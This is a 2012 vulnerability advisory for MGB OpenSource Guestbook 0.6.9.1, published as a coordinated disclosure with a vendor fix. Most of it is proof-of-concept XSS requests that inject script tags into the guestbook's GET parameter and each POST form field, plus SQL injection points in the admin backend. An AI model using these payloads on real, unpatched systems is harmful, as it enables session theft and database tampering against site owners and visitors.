SSCHADV2012-017 - MGB OpenSource Guestbook 0.6.9.1 Multiple security vulnerabilities

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www.websecuritywatch.com on Wednesday, September 19. 2012: PingBack

Posted by Stefan Schurtz on Friday, July 6. 2012

Advisory:	MGB OpenSource Guestbook 0.6.9.1 Multiple security vulnerabilities
Advisory ID:	SSCHADV2012-017
Author:	Stefan Schurtz
Affected Software:	Successfully tested on MGB OpenSource Guestbook 0.6.9.1
Vendor URL:	http://www.m-gb.org
Vendor Status:	fixed

======================
Vulnerability Description
======================

The MGB OpenSource Guestbook is prone to multiple security vulnerabilities

==============
PoC-Exploit
==============

// XSS

GET

http://[target]/mgb/index.php?p=1‘"</script><script>alert(document.cookie)</script>

POST

http://[target]/mgb/newentry.php

sent=1&name=‘"</style></script><script>alert(/xss/)</script>&city=test&email=test%40local.de&icq=&aim=&msn=&hp=http%3A%2F%2F&message=test&textsize=&textcolor=&user_notification=1&user_show_email=1&preview=Vorschau

sent=1&name=test&city=‘"</style></script><script>alert(/xss/)</script>&email=test%40local.de&icq=&aim=&msn=&hp=http%3A%2F%2F&message=test&textsize=&textcolor=&user_notification=1&user_show_email=1&preview=Vorschau

sent=1&name=test&city=test&email=‘"</style></script><script>alert(/xss/)</script>&icq=&aim=&msn=&hp=http%3A%2F%2F&message=test&textsize=&textcolor=&user_notification=1&user_show_email=1&preview=Vorschau

sent=1&name=test&city=test&email=test@local.net&icq=‘"</style></script><script>alert(/xss/)</script>&aim=&msn=&hp=http%3A%2F%2F&message=test&textsize=&textcolor=&user_notification=1&user_show_email=1&preview=Vorschau

sent=1&name=test&city=test&email=test@local.net&icq=&aim=‘"</style></script><script>alert(/xss/)</script>&msn=&hp=http%3A%2F%2F&message=test&textsize=&textcolor=&user_notification=1&user_show_email=1&preview=Vorschau

sent=1&name=test&city=test&email=test@local.net&icq=&aim=&msn=‘"</style></script><script>alert(/xss/)</script>&hp=http%3A%2F%2F&message=test&textsize=&textcolor=&user_notification=1&user_show_email=1&preview=Vorschau

sent=1&name=test&city=test&email=test@local.net&icq=&aim=&msn=&hp=‘"</style></script><script>alert(/xss/)</script>&message=test&textsize=&textcolor=&user_notification=1&user_show_email=1&preview=Vorschau

sent=1&name=‘"</style></script><script>alert(/xss/)</script>&city=test&email=test%40local.de&icq=&aim=&msn=&hp=http%3A%2F%2F&message=test&textsize=&textcolor=&user_notification=1&user_show_email=1

sent=1&name=test&city=‘"</style></script><script>alert(/xss/)</script>&email=test%40local.de&icq=&aim=&msn=&hp=http%3A%2F%2F&message=test&textsize=&textcolor=&user_notification=1&user_show_email=1

sent=1&name=test&city=test&email=‘"</style></script><script>alert(/xss/)</script>&icq=&aim=&msn=&hp=http%3A%2F%2F&message=test&textsize=&textcolor=&user_notification=1&user_show_email=1

sent=1&name=test&city=test&email=test@local.net&icq=&aim=&msn=&hp=‘"</style></script><script>alert(/xss/)</script>&message=test&textsize=&textcolor=&user_notification=1&user_show_email=1

// SQLi (Admin backend)

http://[target]/mgb/admin/admin.php?action=delete&id=[SQLi]&p=1

http://[target]/mgb/admin/admin.php?action=deactivate&id=[SQLi]&p=1

=====
Solution
=====

Upgrade to the latest version 0.6.9.2

================
Disclosure Timeline
================

05-Jul-2012 – developer informed
07-Jul-2012 – feedback from developer

15-Jul-2012 – fixed by developer

====
Credits
====

Vulnerabilities found and advisory written by Stefan Schurtz.

=======
References
=======

http://www.securityfocus.com/bid/54348

http://www.darksecurity.de/advisories/2012/SSCHADV2012-017.txt

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